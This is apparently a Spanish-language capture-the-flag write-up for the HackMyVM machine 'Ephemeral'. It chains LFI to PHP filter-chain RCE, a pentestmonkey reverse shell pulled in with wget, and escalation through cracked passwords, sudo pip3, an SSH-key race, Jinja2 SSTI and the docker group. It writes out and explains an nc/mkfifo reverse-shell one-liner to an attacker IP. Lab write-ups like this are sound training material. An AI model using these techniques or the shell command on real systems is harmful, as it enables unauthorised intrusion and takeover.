Ephemeral
Máquina de dificultad dificil de la plataforma HackMyVM
Comprobación
Esta es mi primera máquina difícil que hago por lo que vamos a ver qué nos tiene preparados
Empezamos tirando nuestra herramienta scanCTF.sh a la cual le indicamos nuestra tarjeta de red y nos saca la IP de la CTF


Ahí podemos ver que nos reporta la IP de la máquina
Una vez que tenemos la IP, nos vamos a crear un directorio con el nombre de esta máquina y dentro vamos a tirar de una utilidad definida previamente en la zshrc

Una vez que tenemos estas dos carpetas, nos metemos en reconocimiento y ya empezamos la comprobación de la máquina
Para ver si se ven mi máquina atacante y la víctima vamos a hacer un simple ping

Ahí podemos ver que devuelve los ping sin ningún tipo de problema
Escaneo de puertos
Una vez que vemos que no hay problemas de conexión vamos a proceder a descubrir qué puertos tiene activos

Básicamente hemos realizado un reconocimiento de puertos algo más sigiloso gracias al (-sS), con una velocidad mínima de 5000 paquetes, sin que nos aplique resolución DNS y sin que nos haga host discovery, finalmente hemos exportado todo el contenido que nos reporta nmap al archivo “puertos_” el cual vamos a tratar ahora con nuestra herramienta portsClean.sh

Ahí podemos ver la información más relevante del archivo “puertos_”
Una vez que vemos que los puertos abiertos son el 21, 22, 80 vamos a realizar un escaneo un poco más concreto para estos puertos

Ahí tenemos toda la información, la cual está igual representada en el archivo “versiones” por lo que vamos a abrirlo para verlo más bonito

Recordad que yo puedo verlo así de bonito porque mi cat es un alias de bat, otra herramienta que funciona igual que cat pero mejorada, representando el contenido con colores, añadiendo números a la izquierda más otras funciones que tiene
Una vez que vemos qué servicios están corriendo, vamos a realizar dos operaciones antes de ir a ver la página web
La primera es un poco de información de qué tecnologías está corriendo por detrás de la página web, para ello vamos a usar whatweb, la cual es una herramienta que funciona igual que wappalyzer solo que desde consola

No vemos mucho la verdad, por lo que vamos a ir con la siguiente operación, que es con nmap lanzar una especie de “fuzzer” básico para ver si encuentra alguna ruta de primeras

Ahí podemos ver algo de información, pero realmente no nos ha reportado mucho, por lo que vamos a ir a ver la web
Web
De primeras la web se ve así

La web realmente no tiene mucho más que mirar
Por lo que vamos a proceder a enumerar posibles rutas dentro de la web

Estas son las rutas que he encontrado, después de ir probando una a una, en “prices” me encontré con lo siguiente

Hay un archivo .php que dice bajada de archivos, por lo que pienso que puede ser una buena idea mirar si dentro de este archivo hay algún parámetro definido que me permita listar archivos internos de la máquina, es decir, un LFI

Bueno, por ahí veo un parámetro el cual aparentemente nos deja apuntar al /etc/passwd de la máquina, vamos a comprobarlo

Efectivamente nos ha dejado, ahora antes de intentar ganar acceso a la máquina, a través de wrappers quiero ver cómo está compuesto este archivo, así que vamos a codificarlo en base64, a traerlo a nuestra máquina y a ver el contenido

PD: Lo paso por BurpSuite para que se vea mejor la foto
Y una vez que enviamos ese wrapper (que nos permite ver el contenido de un fichero .php codificado en base64 para que no sea interpretado por el navegador) nos devuelve la siguiente cadena

La cual desde el terminal vamos a descodificarla

El archivo recibe el nombre de un fichero a través del parámetro GET AssignmentForm y muestra su contenido utilizando include. Esta forma de manejar datos externos puede generar problemas si no se valida correctamente.
Para analizar esta vulnerabilidad se utiliza la herramienta php_filter_chain_generator, que permite generar cadenas de filtros de PHP. Estas cadenas aplican varias transformaciones consecutivas al contenido antes de que llegue al include.
Podemos imaginarlo como pasar un texto por varios filtros: uno modifica una parte, otro cambia su codificación y otro lo transforma nuevamente. Después de todos esos pasos, el resultado final ya no es igual al original, y el servidor podría interpretarlo de una forma diferente a la esperada.
Gracias a estas transformaciones es posible estudiar cómo se comporta la aplicación ante entradas manipuladas y comprender mejor el impacto de esta vulnerabilidad en un entorno de pruebas.
Un ejemplo es el siguiente

Hemos creado un wrapper que al ponerlo en la página va a representar la palabra “hola” al pegarla en el parámetro vulnerable

Entonces enviamos eso y vamos a ver la respuesta del servidor

Ahí podemos ver la palabra “hola”, que es algo que el servidor no debería representarnos, por lo que de esta manera vamos a conseguir que nos ejecute un comando el cual nos va a permitir ganar acceso a la máquina
Para empezar vamos a crearnos un fichero al cual vamos a llamar “reverse.php” el cual va a contener una reverse shell en PHP que nos va a dar esa entrada a la máquina
Yo la reverse shell que uso siempre en PHP es de pentestmonkey, por lo que vamos a su GitHub y nos la copiamos

Bueno, nos la copiamos, cambiamos la IP y el puerto y ahora vamos a montarnos una página web con python3 en la cual vamos a ofrecer el recurso de la reverse shell para que la máquina víctima se la descargue

Genial, pues una vez que lo tenemos todo preparado, con la herramienta “php_filter_chain_generator” vamos a hacer lo siguiente
Le vamos a indicar que queremos crear un nuevo parámetro el cual, cuando le indiquemos un comando, nos lo ejecute en la máquina

El flujo es el siguiente: se recibe un comando con el parámetro “cmd” a través de GET y se ejecuta, si esto se lo pasamos a la herramienta php_filter_chain_generator nos genera un churro el cual vamos a pegar en el parámetro vulnerable


Ahí podemos ver cómo le añadimos a la solicitud ese parámetro extra que nos debería permitir ejecutar comandos, si vemos la respuesta del servidor, ahí lo tenemos

Por lo que ahora es cuando nos vamos a descargar nuestro archivo reverse.php

En el parámetro ponemos “wget%20192.168.1.155/reverse.php” (el %20 representa un espacio, pero como esto se supone que es la URL debemos representarlo así para que no se corrompa la solicitud)
Enviamos y el servidor aparentemente no nos responde nada, pero si vamos a ver los logs de nuestra web hecha con python3

Podemos ver que la IP 192.168.1.165 se ha descargado el archivo “reverse.php”
Una vez que tenemos esto ya es simplemente ponernos en escucha por el puerto que hemos indicado en la reverse shell (en mi caso en el 1212)

Y ahora apuntar desde el parámetro vulnerable de la web al archivo reverse.php


Ahora podemos ver que ya estamos dentro de la máquina
Una comprobación rápida es ver la IP de la terminal en la que estamos ejecutando comandos y compararla con la nuestra

Ahí podemos ver que en la terminal de arriba estamos en la máquina víctima y en la de abajo en la máquina atacante
Genial, antes de pasar con la escalada de privilegios quiero hacer algo que no había hecho en ninguna máquina hasta ahora, si lo que quieres es pasar esta parte, vete directamente y en el “On this page” seleccionas “Escalada de privilegios”
Que es el tratamiento de la reverse shell que acabamos de recibir para poder hacer ctrl+c sin que se nos cierre la sesión, poder usar nano y todas las funciones de una bash normal, esto es algo personal por lo que si no quieres hacerlo no lo hagas, es simplemente para operar un poco más a gusto
Hacemos los siguientes pasos para el tratamiento

Empezamos con ese comando que lo que hace es crear una nueva pseudo-terminal limpia
Seguimos con un ctrl+z

Ahora en nuestra terminal vamos a realizar lo siguiente

Esto lo que hace es ajustar modos TTY y volver al proceso de la sesión en la máquina víctima

Reiniciamos la terminal y corregimos la pantalla

Establecemos el tipo de terminal
Y para acabar vamos a establecer las proporciones correctas para que al abrir “nano” no se vea así

Para ello, nos vamos a otra terminal (una de nuestro equipo) y escribimos el siguiente comando

Y esos valores los ponemos en este comando (dentro de la sesión de la terminal de la máquina víctima)

Ahora si hacemos un nano, se verá con las proporciones adecuadas y podremos hacer un ctrl+c sin que se nos salga la sesión y un ctrl+l para limpiar la pantalla

Escalada de privilegios
Genial, pues vamos a pasar a escalar privilegios en esta máquina
Buscando un poco he visto el siguiente archivo, realizando un “find / -name ‘.*’ 2>/dev/null | grep -v ‘sys’ | grep -v ‘headers’”

El cual en su interior contiene

Si ahora intentamos conectarnos a la base de datos con esa contraseña, vemos que podemos
Dentro nos encontramos lo siguiente

Y dentro de la base de datos “ephemeral_users” vemos la siguiente tabla

La cual contiene la siguiente información

Parecen contraseñas, me las voy a traer a mi equipo para romperlas

Una vez que las tenemos vamos a probar con hydra para ver si alguna de las 4 contraseñas pertenece a algún usuario para conectarnos a él por SSH


Ahí tenemos la contraseña para el usuario kevin, vamos a loguearnos como él y a seguir con la máquina

Genial, una vez que estamos como el usuario kevin vamos a intentar escalar privilegios otra vez
Si ejecutamos “sudo -l” vemos que podemos ejecutar el binario pip3 como el usuario “donald” por lo que vamos a escalar privilegios abusando de este binario
Lo que vamos a hacer es lo siguiente: vamos a crear una carpeta en el directorio “tmp”, en el cual vamos a crear un archivo “escalada.py” el cual va a contener lo siguiente

Básicamente estamos con python creándonos una reverse shell que se conecte a nuestro equipo por el puerto 1234, vamos a ponernos en escucha y a probar si funciona

Y ahí tenemos la conexión como el usuario “donald”
Okay, pues una vez que hemos elevado nuestro privilegio vamos a seguir hasta llegar al usuario root
En el directorio personal del usuario “donald” hay lo siguiente

Nos dice que tenemos la contraseña pero que está codificada, vamos a ver qué codificado tiene

Vemos que la página dcode.fr nos dice que está en base62, por lo que si nos vamos a cyberchef.org podemos decodificarla

Ahí tenemos la contraseña, ahora vamos a probarla

Ahora podemos ver que podemos ejecutar un script como el usuario jane

Este es el script, lo que hace es borrar las claves SSH del usuario y crear otras, como podemos escribir en el directorio /dev/shm, podemos hacer un script que sea un bucle el cual copie todo el rato las claves al directorio /dev/shm, de tal forma que cuando lo copie al .ssh de jane copie la clave que nosotros queremos

Este es el oneliner que nos está copiando continuamente las claves, ahora en otra terminal iniciamos sesión por SSH con el usuario donald, con la clave que hemos roto antes que estaba en base62

Hemos puesto -t bash porque en el /etc/passwd está definido que el usuario donald tiene una rbash (una bash restringida) y este parámetro es un bypass para que tenga una bash normal
Y vamos a ejecutar el script para que nuestras claves se guarden en el .ssh de jane

Ahora la clave pública de jane debería ser la que hemos creado, si intentamos conectarnos con nuestra clave privada

Ahí vemos que nos deja conectarnos sin pedirnos la contraseña, si miramos vemos que podemos ejecutar un script en python como el usuario “randy”


Este script lo que hace es desplegar una plantilla hecha en jinja2 en el puerto 5000
Vamos a ejecutar el script como el usuario randy “sudo -u randy python3 /var/www/html/private_html/app.py” y a ver qué es lo que hay en la web

Vemos que lo que ponemos en el parámetro se nos representa en la web, vamos a comprobar si estamos ante un SSTI

Vemos que si hacemos una multiplicación nos la realiza, así que efectivamente estamos ante un SSTI
Para poder obtener una shell lo vamos a hacer de la siguiente manera, en el parámetro “?name” vamos a poner lo siguiente

El payload que ejecuta la siguiente reverse shell, ejecutaba un id, pero lo he sustituido por lo siguiente
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash 2>%261 | nc 192.168.1.155 1212 > /tmp/f
El cual lo que hace es lo siguiente
rm /tmp/f;
Esto elimina cualquier archivo que se llame f dentro del directorio /tmp/
mkfifo /tmp/f;
Creamos un archivo “named pipe”, el cual permite que a la misma vez que un proceso escribe en él pueda ser leído por otro, lo que crea un canal de comunicación unidireccional
cat /tmp/f | /bin/bash 2>%261 | nc 192.168.1.155 > /tmp/f
Por último vamos a leer el contenido del fichero “f” (named pipe), una vez que lo leemos pasamos el contenido a un /bin/bash, el cual ejecuta lo que le pasemos, después se envía por la conexión que hay entablada con la 192.168.1.155 y por último todo lo que se reciba de esta conexión se mete en el archivo “f” y es donde el “bucle” empieza de nuevo
Ahora ya estamos como el usuario randy y vemos la primera flag del reto

La manera de escalar privilegios ahora la tenéis en uno de nuestros artículos, básicamente somos del grupo de docker por lo que podemos crear un contenedor y elevar privilegios como root
Lo dicho, no me voy a detener mucho aquí porque ya tengo un artículo en donde explico más a fondo esta técnica

Elevamos privilegios y ahí podemos ver la flag de root
